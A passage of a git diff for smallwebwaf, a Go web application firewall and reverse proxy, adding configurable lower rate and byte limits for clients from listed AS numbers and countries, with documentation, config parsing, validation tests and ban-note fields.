internal/bans/bans.go | 6 + internal/config/config.go | 138 +++++++- internal/config/config_test.go | 113 +++++- internal/proxy/bans.go | 28 +- internal/proxy/biased.go | 96 ++++++ internal/proxy/biased_test.go | 494 +++++++++++++++++++++++++++ internal/proxy/lookup.go | 5 +- internal/proxy/lookup_test.go | 6 +- internal/proxy/proxy.go | 6 +- internal/proxy/proxy_test.go | 2 +- internal/proxy/request.go | 22 +- internal/ratelimit/ratelimit.go | 46 ++- internal/ratelimit/ratelimit_test.go | 82 ++++- internal/ratelimit/snapshot_test.go | 6 +- internal/requestlog/requestlog.go | 9 + internal/state/state_test.go | 9 +- 17 files changed, 1102 insertions(+), 109 deletions(-) create mode 100644 internal/proxy/biased.go create mode 100644 internal/proxy/biased_test.go diff --git a/README.md b/README.md index e21bf5e..a77714e 100644 --- a/README.md +++ b/README.md @@ -22,13 +22,15 @@ fields, which come a little later, and the metrics endpoint and the header size and the idle time as settings, which come last in it. So are the four parts of the stage after it: the rule files, with the bans for a clear sign of attack, the other admin endpoints, alerts to all three destinations, a JSON webhook, -Slack and ntfy, and remote log sending. So are two parts of the stage after +Slack and ntfy, and remote log sending. So are three parts of the stage after that: the AS number and country of every client, looked up through GeoJS or in -the IPinfo Lite database file, and the byte limits. `smallwebwaf` passes each +the IPinfo Lite database file, the byte limits, and the biased thresholds, lower +limits for the AS numbers and countries you list. `smallwebwaf` passes each request to the app and the app's answer back, unchanged, within its timeouts and size limits, works out each client's address, looks up its AS number and country unless you switch that off, bans a client that sends too many requests or too -many bytes, not counting those for the paths you choose, refuses a client that +many bytes, not counting those for the paths you choose, with lower limits for +the clients of the AS numbers and countries you list, refuses a client that comes from a country you refuse or from a network you refuse, lets the networks you choose through, checks each request against the rule files and bans a client whose request is a clear sign of attack, keeps its bans, each client's counters @@ -120,6 +122,19 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of They leave out what the rate limits leave out: a client in `SWWAF_ALLOW_NETS` or `SWWAF_RATE_LIMIT_EXEMPT_NETS`, and a request for a path `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts. +- Gives the clients of the AS numbers and countries the biased thresholds list, + `SWWAF_ASN_LIMIT_PERCENT` and `SWWAF_COUNTRY_LIMIT_PERCENT`, the percentage + they give of every rate limit and byte limit, so that the same rules ban them + after fewer requests, and, while `SWWAF_UNKNOWN_LIMIT_PERCENT` is below 100, + every client without a country that percentage. A client to which several + apply gets the lowest. `SWWAF_ASN_BYTES_PERCENT` and + `SWWAF_COUNTRY_BYTES_PERCENT` give the AS numbers and countries they list a + percentage of the byte limits in place of the other two. Each client is + counted on its own, against its own lowered limits: no budget is shared by a + whole AS number or country, which one abuser could use up and so lock out + everyone else there. The log line of each request the rate limits count gives + its client's percentages below 100 and the settings that gave them, and so do + the notes of a ban for a lowered limit, and its alert. - Bans a client that breaks a rate limit or a byte limit, as "Bans" in [`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a limit broken again within a day of a ban ending bans for three times as long as that @@ -131,17 +146,18 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of the client is not looked up, and is not counted for the rate limits. A ban sets the client's counters back to zero. Each ban carries notes for deciding whether to lift it: the limit, whether it is on requests or bytes, its window - and the requests or bytes counted in it, the request that broke it, the - client's AS number, AS name and country once they are looked up, the - netblock's requests since it was first seen, how many of them the ban has - refused, and how many bans the netblock had before, for a broken limit, for a - clear sign of attack and by an admin. At most `SWWAF_MAX_BANS` bans - `smallwebwaf` made are kept, past, active and permanent; past that, the - earliest such ban of the netblock that has gone longest without a request is - dropped first. The bans whose cause is `admin`, those you make or keep, are - kept besides, and never dropped. `bans.json` shows the bans and their notes, a - restart lifts none, and you make, keep or lift a ban by editing it (see "State - files" below). + and the requests or bytes counted in it, the client's percentage of that kind + of limit and the setting that gave it when a biased threshold lowered the + limit, the request that broke it, the client's AS number, AS name and country + once they are looked up, the netblock's requests since it was first seen, how + many of them the ban has refused, and how many bans the netblock had before, + for a broken limit, for a clear sign of attack and by an admin. At most + `SWWAF_MAX_BANS` bans `smallwebwaf` made are kept, past, active and permanent; + past that, the earliest such ban of the netblock that has gone longest without + a request is dropped first. The bans whose cause is `admin`, those you make or + keep, are kept besides, and never dropped. `bans.json` shows the bans and + their notes, a restart lifts none, and you make, keep or lift a ban by editing + it (see "State files" below). - Checks each request against the rules of the rule files (see "Rule files" below) after the rate limits, and before its body is read. A `log` rule that matches is noted in the log line; a `block` rule refuses the request with @@ -163,10 +179,11 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of AS number lookup" below), for the request log, the client's history, the notes of its bans, their alerts and the metrics. The file answers at once. With GeoJS, a request waits for its client's first answer only while a setting acts - on it, a country list or `SWWAF_ADD_LOOKUP_HEADERS`. Otherwise it goes on at - once, and the answer reaches the client's history and the notes of its bans - when it comes, but not the log lines of the requests that went on without it, - nor the alerts already raised for those bans. + on it, a country list, `SWWAF_ADD_LOOKUP_HEADERS` or a biased threshold that + lowers a limit. Otherwise it goes on at once, and the answer reaches the + client's history and the notes of its bans when it comes, but not the log + lines of the requests that went on without it, nor the alerts already raised + for those bans. - Refuses a request from a country you refuse with `SWWAF_BAN_RESPONSE`, as soon as the client's country is known and before its body is read; such a request is not counted for the rate limits. A client on a private, loopback or @@ -312,9 +329,10 @@ effective settings are logged at start. country are looked up: `geojs`, the GeoJS web service, which is then told the address of every new visitor, `file`, the IPinfo Lite database file `SWWAF_LOOKUP_DB_PATH` names, or `off`, which looks up no client and sends no - address to GeoJS. With `off`, a country list that is not empty, or - `SWWAF_ADD_LOOKUP_HEADERS` set to `true`, stops the start, with a message - naming it and `SWWAF_LOOKUP_SOURCE`. + address to GeoJS. With `off`, a country list that is not empty, + `SWWAF_ADD_LOOKUP_HEADERS` set to `true`, or a biased threshold that lowers a + limit, a list of them that is not empty or `SWWAF_UNKNOWN_LIMIT_PERCENT` below + 100, stops the start, with a message naming it and `SWWAF_LOOKUP_SOURCE`. - `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its `.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`. `file` without it, or it with any other `SWWAF_LOOKUP_SOURCE`, the default included, stops the start, with a @@ -334,6 +352,24 @@ effective settings are logged at start. countries whose clients get through, for example `us,de`. A client whose country cannot be found is refused too, so that new clients are not let in whenever GeoJS stops answering. +- `SWWAF_ASN_LIMIT_PERCENT` (default empty): AS numbers, each with the + percentage of every rate limit and byte limit its clients get, such as + `AS14061:50,AS16276:50,AS45102:25`. A lowered limit is rounded down to a whole + number: half of 1000 requests a minute is 500, and half of 5 is 2. `0` is a + zero allowance: the client's first request breaks a limit, and bans it. +- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as + `cn:25,ru:50`. +- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty): + the same for the byte limits alone. For an AS number or a country one of them + lists, its percentage takes the place, for the byte limits, of the one + `SWWAF_ASN_LIMIT_PERCENT` or `SWWAF_COUNTRY_LIMIT_PERCENT` gives, so that + `SWWAF_ASN_LIMIT_PERCENT=AS14061:50` with + `SWWAF_ASN_BYTES_PERCENT=AS14061:100` halves that AS number's rate limits and + leaves its byte limits whole. +- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage of every limit a + client without a country gets: one the lookup cannot place, one on a private, + loopback or link-local address, which is never looked up, and one whose answer + from GeoJS has not come in time. - `SWWAF_BAN_RESPONSE` (default `403`): how a refused client is answered, one that is banned, breaks a rate limit, matches a `ban` rule, is in `SWWAF_DENY_NETS` or comes from a refused country: `403`, `429`, or `close` to @@ -445,11 +481,15 @@ Netblocks are in CIDR form, and a bare address stands for itself alone. Countries are the two-letter codes ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a -code on both country lists. `off` switches a timeout, a size limit, a rate -limit, a byte limit, `SWWAF_ALERT_COOLDOWN` or `SWWAF_ALERT_MAX_PER_HOUR` off; -`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_LOOKUP_TIMEOUT`, the ban -settings, the state settings, `SWWAF_METRICS_TOP_N` and -`SWWAF_LOG_REMOTE_BUFFER` cannot be off. +code on both country lists. AS numbers are `AS` and the number, in either case. +Percentages are whole numbers from 0 to 100, and an entry of a list of them is +an AS number or a country, `:` and a percentage; an AS number or a country +listed twice in one of them stops the start. `off` switches a timeout, a size +limit, a rate limit, a byte limit, `SWWAF_ALERT_COOLDOWN` or +`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, +`SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, the ban settings, the +state settings, `SWWAF_METRICS_TOP_N` and `SWWAF_LOG_REMOTE_BUFFER` cannot be +off. Several limits are fixed rather than settings. At most 20,000 clients are kept, with their counters and history, and an IPv6 client is counted by its /64. At @@ -550,6 +590,12 @@ which every line has. `denied`, `banned`, `country_denied`, `rate_limited` or `rule_blocked`. `action` then names what was done: `forward` for a request passed to the app, and another action, such as `too_large`, for one a size or time limit refused. +- `limit_percent` is there for a request the rate limits count whose client a + biased threshold gives less than the whole of the rate limits, and gives the + percentage it gets, with `limit_percent_setting` naming the setting that gave + it, such as `SWWAF_ASN_LIMIT_PERCENT`. `bytes_percent` and + `bytes_percent_setting` are the same for the byte limits. Each is left out + when the client gets the whole of those limits. - `counts` gives the client's requests in the minute, the hour and the day as the rate limits count them, this request included: in each window, those in the bucket under way and a share of those in the bucket before, so a count can @@ -798,7 +844,10 @@ entries by client address, but for the alerts waiting, with times in UTC. `bytes per hour over the limit of 21474836480`, or the rule that matched, such as `matched the rule env-file`; for yours, what you wrote. Its `lifted` is when you lifted it, and is left out until you do. The `kind` in the notes of a - ban for a broken limit is `requests` or `bytes`, what the limit is on. + ban for a broken limit is `requests` or `bytes`, what the limit is on. For a + limit a biased threshold lowered, the reason and the notes' `limit` give the + lowered limit, and the notes' `limit_percent` and `limit_percent_setting` the + client's percentage of that kind of limit and the setting that gave it. - `clients.json`: each client's two buckets of requests in the minute, the hour and the day, its two buckets of bytes in each, `minute_bytes`, `hour_bytes` and `day_bytes`, and its history: when it was first and last seen, its AS @@ -1025,9 +1074,9 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets - `smallwebwaf_geojs_requests_total`: the requests to GeoJS; `smallwebwaf_geojs_failures_total`: those that failed, an answer that leaves out an address asked about included; and `smallwebwaf_geojs_unanswered_total`: - the requests that needed their client's answer, for a country list or - `SWWAF_ADD_LOOKUP_HEADERS`, and went on without it because GeoJS had not given - it in time. + the requests that needed their client's answer, for a country list, + `SWWAF_ADD_LOOKUP_HEADERS` or a biased threshold, and went on without it + because GeoJS had not given it in time. - While `SWWAF_LOOKUP_SOURCE` is `file`, `smallwebwaf_lookup_database_last_read_timestamp_seconds`: when the lookup database in use was read; and @@ -1355,20 +1404,21 @@ memory and in `lookups.json`, so that it survives a restart, and a visitor whose answer is kept is not asked about again. A request waits for its client's first answer only while a setting acts on it -before the request goes on: a country list, or `SWWAF_ADD_LOOKUP_HEADERS`. A new -visitor then waits up to `SWWAF_LOOKUP_TIMEOUT`, a second by default, and -without an answer counts as coming from an unknown country until the answer -arrives. Otherwise no request waits: it goes on at once and is logged without -the answer, which reaches the client's history and the notes of its bans when it -comes. The addresses waiting are asked about together, up to 200 in one request, -one request at a time; at most 10,000 visitors wait, and one more is not asked -about until there is room, counting meanwhile as coming from an unknown country. -GeoJS publishes no rate limit but may block a caller it thinks asks too much. -While GeoJS fails, visitors with a kept answer are unaffected and new ones count -as coming from an unknown country, which `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` -refuses. GeoJS is then left alone for a second, twice as long after each further -failure up to five minutes, and asked again by the next request from a visitor -without an answer. +before the request goes on: a country list, `SWWAF_ADD_LOOKUP_HEADERS`, or a +biased threshold that lowers a limit. A new visitor then waits up to +`SWWAF_LOOKUP_TIMEOUT`, a second by default, and without an answer counts as +coming from an unknown country until the answer arrives. Otherwise no request +waits: it goes on at once and is logged without the answer, which reaches the +client's history and the notes of its bans when it comes. The addresses waiting +are asked about together, up to 200 in one request, one request at a time; at +most 10,000 visitors wait, and one more is not asked about until there is room, +counting meanwhile as coming from an unknown country. GeoJS publishes no rate +limit but may block a caller it thinks asks too much. While GeoJS fails, +visitors with a kept answer are unaffected and new ones count as coming from an +unknown country, which `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses, and whose +limits `SWWAF_UNKNOWN_LIMIT_PERCENT` sets. GeoJS is then left alone for a +second, twice as long after each further failure up to five minutes, and asked +again by the next request from a visitor without an answer. To keep your visitors' addresses on your own host, set `SWWAF_LOOKUP_SOURCE=off`, or use the database file instead of GeoJS: @@ -1397,8 +1447,9 @@ service that uses the database through `smallwebwaf` should carry that link. Neither source can place a private address, so a client on one, such as a visitor on your local network, another container or your monitoring, has no country: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless you list it in -`SWWAF_ALLOW_NETS`, and `SWWAF_DENIED_COUNTRIES` does not refuse it. Such -addresses are never sent to GeoJS. +`SWWAF_ALLOW_NETS`, `SWWAF_DENIED_COUNTRIES` does not refuse it, and +`SWWAF_UNKNOWN_LIMIT_PERCENT` sets its limits. Such addresses are never sent to +GeoJS. ## How the code is laid out diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 58fedcc..e1366fd 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -108,6 +108,12 @@ type Notes struct { Limit int64 `json:"limit,omitempty"` Window string `json:"window,omitempty"` Count float64 `json:"count,omitempty"` + // LimitPercent and LimitPercentSetting are, for a ban for a limit a + // biased threshold lowered, the client's percentage of that kind of + // limit, of which Limit is the result, and the setting that gave it. + // Both are left out for a limit that was not lowered. + LimitPercent *int64 `json:"limit_percent,omitempty"` + LimitPercentSetting string `json:"limit_percent_setting,omitempty"` // RuleID and Target are, for a ban for a clear sign of attack, the id // of the rule file rule that matched, and its target. RuleID string `json:"rule_id,omitempty"` diff --git a/internal/config/config.go b/internal/config/config.go index ce01942..f99aa51 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -120,6 +120,22 @@ type Config struct { // capitals, as GeoJS gives them. DeniedCountries []string ExclusivelyAllowedCountries []string + // The biased thresholds. ASNLimitPercent and CountryLimitPercent give + // the clients of the AS numbers and the countries they list that + // percentage of every rate limit and byte limit + // (SWWAF_ASN_LIMIT_PERCENT and SWWAF_COUNTRY_LIMIT_PERCENT). + // ASNBytesPercent and CountryBytesPercent give those they list a + // percentage of the byte limits in place of that one + // (SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT). Each holds + // percentages from 0 to 100, by AS number, written as AS64496, or by + // country, a two-letter code in capitals, as the lookup gives them. + // UnknownLimitPercent is the percentage of every limit a client without + // a country gets (SWWAF_UNKNOWN_LIMIT_PERCENT). + ASNLimitPercent map[string]int64 + CountryLimitPercent map[string]int64 + ASNBytesPercent map[string]int64 + CountryBytesPercent map[string]int64 + UnknownLimitPercent int64 // BanResponse is the status a refused client is answered with, 403 // or 429, or 0 to close the connection without an answer // (SWWAF_BAN_RESPONSE). It answers a banned client, a request that @@ -300,6 +316,11 @@ var ( "source_failure or file_error") errNotNumberOrOff = errors.New("is not a whole number above zero, such as 60, or off") errNotUTF8 = errors.New("is not valid UTF-8") + errNotASN = errors.New("is not an AS number such as AS64496") + errNotPercentItem = errors.New( + "is not a code, : and a percentage, such as AS64496:50 or cn:25") + errNotPercent = errors.New("is not a percentage, a whole number from 0 to 100") + errListedTwice = errors.New("is listed twice") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -307,6 +328,8 @@ var ( // named by the setting's name with _FILE added names the file, which is // read now (see lookup). A setting that is not set takes its default. A // setting that is set but invalid is an error that names it. +// +//nolint:funlen // one line for each setting, a list that grows with them func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { env := &environment{lookupEnv: lookupEnv} cfg := &Config{ @@ -342,6 +365,11 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""), ExclusivelyAllowedCountries: env.countries( "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), + ASNLimitPercent: env.percents("SWWAF_ASN_LIMIT_PERCENT", parseASN), + CountryLimitPercent: env.percents("SWWAF_COUNTRY_LIMIT_PERCENT", parseCountry), + ASNBytesPercent: env.percents("SWWAF_ASN_BYTES_PERCENT", parseASN), + CountryBytesPercent: env.percents("SWWAF_COUNTRY_BYTES_PERCENT", parseCountry), + UnknownLimitPercent: env.percent("SWWAF_UNKNOWN_LIMIT_PERCENT", "100"), BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"), LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"), LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"), @@ -592,6 +620,25 @@ func (e *environment) countries(name, defaultValue string) []string { return countries } +// percents reads a setting that is a list of AS numbers or countries, +// which parseCode reads, each with a percentage. It is empty by default. +func (e *environment) percents( + name string, parseCode func(string) (string, error), +) map[string]int64 { + percents, err := parsePercents(e.value(name, ""), parseCode) + e.check(name, err) + + return percents +} + +// percent reads a setting that is a percentage, from 0 to 100. +func (e *environment) percent(name, defaultValue string) int64 { + percent, err := parsePercent(e.value(name, defaultValue)) + e.check(name, err) + + return percent +} + // lookupSource reads the setting that is where clients are looked up: // geojs, file, or off. func (e *environment) lookupSource(name, defaultValue string) string { @@ -619,7 +666,9 @@ func (e *environment) checkLookupDBPath(cfg *Config) { // checkCountriesAndLookups refuses a country on both country lists, and, // while SWWAF_LOOKUP_SOURCE is off, each setting that needs clients looked -// up: the country lists and SWWAF_ADD_LOOKUP_HEADERS. +// up: the country lists, SWWAF_ADD_LOOKUP_HEADERS, and the biased +// thresholds, of which SWWAF_UNKNOWN_LIMIT_PERCENT needs them only below +// 100, where it lowers a limit. func (e *environment) checkCountriesAndLookups(cfg *Config) { for _, country := range cfg.ExclusivelyAllowedCountries { if slices.Contains(cfg.DeniedCountries, country) { @@ -639,6 +688,11 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) { {"SWWAF_DENIED_COUNTRIES", len(cfg.DeniedCountries) > 0}, {"SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0}, {"SWWAF_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders}, + {"SWWAF_ASN_LIMIT_PERCENT", len(cfg.ASNLimitPercent) > 0}, + {"SWWAF_COUNTRY_LIMIT_PERCENT", len(cfg.CountryLimitPercent) > 0}, + {"SWWAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0}, + {"SWWAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0}, + {"SWWAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100}, } { if setting.set { e.check(setting.name, fmt.Errorf("is set while SWWAF_LOOKUP_SOURCE is off; %w", @@ -1148,13 +1202,12 @@ func parseCountries(value string) ([]string, error) { return nil, err } - known := strings.Fields(countryCodes) countries := make([]string, 0, len(items)) for _, item := range items { - country := strings.ToUpper(item) - if !slices.Contains(known, country) { - return nil, fmt.Errorf("%q %w", item, errNotCountry) + country, err := parseCountry(item) + if err != nil { + return nil, err } countries = append(countries, country) @@ -1163,6 +1216,81 @@ func parseCountries(value string) ([]string, error) { return countries, nil } +// parseCountry reads a country code in either case, and returns it in +// capitals. +func parseCountry(value string) (string, error) { + country := strings.ToUpper(value) + if !slices.Contains(strings.Fields(countryCodes), country) { + return "", fmt.Errorf("%q %w", value, errNotCountry) + } + + return country, nil +} + +// parseASN reads an AS number such as AS64496, in either case, and +// returns it as the lookup gives it: AS and the number, in capitals and +// without leading zeros. +func parseASN(value string) (string, error) { + digits, hasAS := strings.CutPrefix(strings.ToUpper(value), "AS") + + number, err := strconv.ParseUint(digits, 10, 32) + if !hasAS || err != nil { + return "", fmt.Errorf("%q %w", value, errNotASN) + } + + return "AS" + strconv.FormatUint(number, 10), nil +} + +// parsePercents reads a comma-separated list of items, each an AS number +// or a country, which parseCode reads, then : and a percentage, such as +// AS64496:50 or cn:25, and returns each one's percentage. An empty value +// is an empty list. An AS number or country listed twice is an error. +func parsePercents( + value string, parseCode func(string) (string, error), +) (map[string]int64, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + percents := make(map[string]int64, len(items)) + + for _, item := range items { + codeText, percentText, found := strings.Cut(item, ":") + if !found { + return nil, fmt.Errorf("%q %w", item, errNotPercentItem) + } + + code, err := parseCode(codeText) + if err != nil { + return nil, err + } + + percent, err := parsePercent(percentText) + if err != nil { + return nil, err + } + + if _, listed := percents[code]; listed { + return nil, fmt.Errorf("%q %w", codeText, errListedTwice) + } + + percents[code] = percent + } + + return percents, nil +} + +// parsePercent reads a percentage, a whole number from 0 to 100. +func parsePercent(value string) (int64, error) { + percent, err := strconv.ParseInt(value, 10, 64) + if err != nil || percent < 0 || percent > 100 { + return 0, fmt.Errorf("%q %w", value, errNotPercent) + } + + return percent, nil +} + // headerNameChars are the characters RFC 9110 allows in a header name: // letters, digits and these marks. const headerNameChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 207b171..f52919b 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -50,6 +50,11 @@ const ( addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS" deniedCountries = "SWWAF_DENIED_COUNTRIES" allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" + asnLimitPercent = "SWWAF_ASN_LIMIT_PERCENT" + countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT" + asnBytesPercent = "SWWAF_ASN_BYTES_PERCENT" + countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT" + unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT" banResponse = "SWWAF_BAN_RESPONSE" limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" @@ -892,9 +897,14 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { t.Parallel() for name, value := range map[string]string{ - deniedCountries: "kp", - allowedCountries: "de", - addLookupHeaders: enabled, + deniedCountries: "kp", + allowedCountries: "de", + addLookupHeaders: enabled, + asnLimitPercent: "AS64496:50", + countryLimitPercent: "cn:25", + asnBytesPercent: "AS64496:50", + countryBytesPercent: "cn:25", + unknownLimitPercent: "99", } { t.Run(name, func(t *testing.T) { t.Parallel() @@ -909,12 +919,94 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { }) } - // Set empty, the country lists need nothing looked up. + // Set empty, the lists need nothing looked up, and nor does + // SWWAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit. fromEnvironment(t, environment{ lookupSource: off, deniedCountries: "", allowedCountries: "", + asnLimitPercent: "", countryLimitPercent: "", asnBytesPercent: "", + countryBytesPercent: "", unknownLimitPercent: "100", }) } +func TestBiasedThresholdsAsSet(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{}) + if len(cfg.ASNLimitPercent) != 0 || len(cfg.CountryLimitPercent) != 0 || + len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 || + cfg.UnknownLimitPercent != 100 { + t.Errorf("biased thresholds %v, %v, %v, %v and %d by default, "+ + "want four empty lists and 100", cfg.ASNLimitPercent, cfg.CountryLimitPercent, + cfg.ASNBytesPercent, cfg.CountryBytesPercent, cfg.UnknownLimitPercent) + } + + // AS numbers and countries in either case, an AS number with leading + // zeros, 0 and 100. + cfg = fromEnvironment(t, environment{ + asnLimitPercent: "AS14061:50, as16276:0,AS045102:100", + countryLimitPercent: "cn:25,RU:50", + asnBytesPercent: "as16276:75", + countryBytesPercent: "ru:10", + unknownLimitPercent: "0", + }) + + for name, tc := range map[string]struct{ got, want map[string]int64 }{ + asnLimitPercent: { + cfg.ASNLimitPercent, + map[string]int64{"AS14061": 50, "AS16276": 0, "AS45102": 100}, + }, + countryLimitPercent: {cfg.CountryLimitPercent, map[string]int64{"CN": 25, "RU": 50}}, + asnBytesPercent: {cfg.ASNBytesPercent, map[string]int64{"AS16276": 75}}, + countryBytesPercent: {cfg.CountryBytesPercent, map[string]int64{"RU": 10}}, + } { + if !maps.Equal(tc.got, tc.want) { + t.Errorf("%s gave %v, want %v", name, tc.got, tc.want) + } + } + + if cfg.UnknownLimitPercent != 0 { + t.Errorf("%s gave %d, want 0", unknownLimitPercent, cfg.UnknownLimitPercent) + } +} + +func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) { + t.Parallel() + + const ( + notASN = " is not an AS number such as AS64496" + notItem = " is not a code, : and a percentage, such as AS64496:50 or cn:25" + notPercent = " is not a percentage, a whole number from 0 to 100" + ) + + for _, tc := range []struct{ name, value, want string }{ + {asnLimitPercent, "14061:50", `"14061"` + notASN}, + {asnLimitPercent, "AS4294967296:50", `"AS4294967296"` + notASN}, + {asnLimitPercent, "AS14061", `"AS14061"` + notItem}, + {asnLimitPercent, "AS14061:101", `"101"` + notPercent}, + {asnLimitPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`}, + { + countryLimitPercent, "nk:25", + `"nk" is not a two-letter country code such as de or kp`, + }, + {countryLimitPercent, "cn:25,CN:50", `"CN" is listed twice`}, + {asnBytesPercent, "AS14061:-1", `"-1"` + notPercent}, + {countryBytesPercent, "cn:50%", `"50%"` + notPercent}, + {unknownLimitPercent, "101", `"101"` + notPercent}, + {unknownLimitPercent, off, `"off"` + notPercent}, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + func TestSizesAndOff(t *testing.T) { t.Parallel() @@ -1054,6 +1146,14 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {allowedCountries, "uk"}, {allowedCountries, "zz"}, {allowedCountries, "de,germany"}, + {asnLimitPercent, "AS14061:50,,AS16276:50"}, {asnLimitPercent, "ASX:50"}, + {asnLimitPercent, "AS14061:"}, {asnLimitPercent, "AS14061 :50"}, + {asnLimitPercent, "AS14061:1.5"}, {asnLimitPercent, "AS-1:50"}, + {countryLimitPercent, "cn"}, {countryLimitPercent, "cn:"}, + {countryLimitPercent, "cn:25:50"}, {countryLimitPercent, "china:25"}, + {asnBytesPercent, "AS14061:101"}, {countryBytesPercent, "su:50"}, + {unknownLimitPercent, ""}, {unknownLimitPercent, "-1"}, + {unknownLimitPercent, "50%"}, {metricsTopN, off}, {metricsTopN, "0"}, {metricsTopN, "-1"}, {logRequestHeaders, "accept,,origin"}, {logRequestHeaders, "accept;origin"}, {logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"}, @@ -1325,6 +1425,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { addLookupHeaders: "false", deniedCountries: "", allowedCountries: "", + asnLimitPercent: "", + countryLimitPercent: "", + asnBytesPercent: "", + countryBytesPercent: "", + unknownLimitPercent: "100", banResponse: "403", limitBanDuration: "1h", limitBanRepeatWindow: "24h", diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index 3a7c152..0ecaf13 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -42,9 +42,11 @@ func (rq *request) banned(now time.Time) bool { // limitBroken counts the request for the rate limits at now, notes the // client's counts for the log line, and reports whether the request takes -// the client over a rate limit, which breaks it. +// the client over a rate limit, as its limit percentage lowers it, which +// breaks it. func (rq *request) limitBroken(now time.Time) bool { - counts, hit, over := rq.h.limiter.Count(clientGroup(rq.client), now) + counts, hit, over := rq.h.limiter.Count(clientGroup(rq.client), now, + rq.limitPercent.percent) rq.line.Counts = counts if over { @@ -63,8 +65,9 @@ func (rq *request) limitBroken(now time.Time) bool { // what it carried from the client with the request's. Only a request // passed to the app has them counted, and only one the rate limits // counted; in observe mode, not one that enforce mode would have refused. -// Bytes that take the client over a byte limit break it; the response was -// passed on whole. +// Bytes that take the client over a byte limit, as its limit percentage +// for the byte limits lowers it, break it; the response was passed on +// whole. func (rq *request) countBytes() { if !rq.counted || rq.line.WouldAction != "" { return @@ -89,7 +92,8 @@ func (rq *request) countBytes() { now := rq.h.now() - counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now, bytes) + counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now, bytes, + rq.bytesPercent.percent) rq.line.Counts.MinuteBytes = counts.MinuteBytes rq.line.Counts.HourBytes = counts.HourBytes rq.line.Counts.DayBytes = counts.DayBytes @@ -103,9 +107,10 @@ func (rq *request) countBytes() { // one hit names, and notes the offence for the log line. status is what // the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over // a rate limit, the app's answer for one whose bytes broke a byte limit. -// The ban sets the client's counters back to zero. In observe mode it -// makes no ban and sets nothing back, and raises the alert for the ban it -// would have made, if that alert would be sent. +// The ban's notes give the client's limit percentage for that kind of +// limit. The ban sets the client's counters back to zero. In observe mode +// it makes no ban and sets nothing back, and raises the alert for the ban +// it would 